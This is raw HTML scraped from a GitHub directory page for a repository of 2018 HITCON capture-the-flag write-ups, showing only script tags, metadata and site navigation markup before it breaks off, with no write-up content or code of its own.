src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctfs/2018/hitcon at master · 5unKn0wn/ctfs · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="8AC6:380B:4437222:45C2E17:6412259D" data-pjax-transient="true"/><meta name="html-safe-nonce" content="409e2864eb7b1126883c409c6312539eb91b58592ecaa131599ca92667c864d6" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4QUM2OjM4MEI6NDQzNzIyMjo0NUMyRTE3OjY0MTIyNTlEIiwidmlzaXRvcl9pZCI6IjUzNTExMjc5NDc5MzA2NDE4MjEiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="fd36767578b23dc39e7408621f0eb3ca5f197648ebab917b6e1b8ca09c81cc64" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:92021189" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="ctfs write-up. Contribute to 5unKn0wn/ctfs development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/dbd654816744ffb2c6f73e57d14c4df5d01f6d15d0de330f683cc3347c6a9715/5unKn0wn/ctfs" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfs/2018/hitcon at master · 5unKn0wn/ctfs" /><meta name="twitter:description" content="ctfs write-up. Contribute to 5unKn0wn/ctfs development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/dbd654816744ffb2c6f73e57d14c4df5d01f6d15d0de330f683cc3347c6a9715/5unKn0wn/ctfs" /><meta property="og:image:alt" content="ctfs write-up. Contribute to 5unKn0wn/ctfs development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfs/2018/hitcon at master · 5unKn0wn/ctfs" /><meta property="og:url" content="https://github.com/5unKn0wn/ctfs" /><meta property="og:description" content="ctfs write-up. Contribute to 5unKn0wn/ctfs development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/5unKn0wn/ctfs git https://github.com/5unKn0wn/ctfs.git"> <meta name="octolytics-dimension-user_id" content="15189831" /><meta name="octolytics-dimension-user_login" content="5unKn0wn" /><meta name="octolytics-dimension-repository_id" content="92021189" /><meta name="octolytics-dimension-repository_nwo" content="5unKn0wn/ctfs" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="92021189" /><meta name="octolytics-dimension-repository_network_root_nwo" content="5unKn0wn/ctfs" /> <link rel="canonical" href="https://github.com/5unKn0wn/ctfs/tree/master/2018/hitcon" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 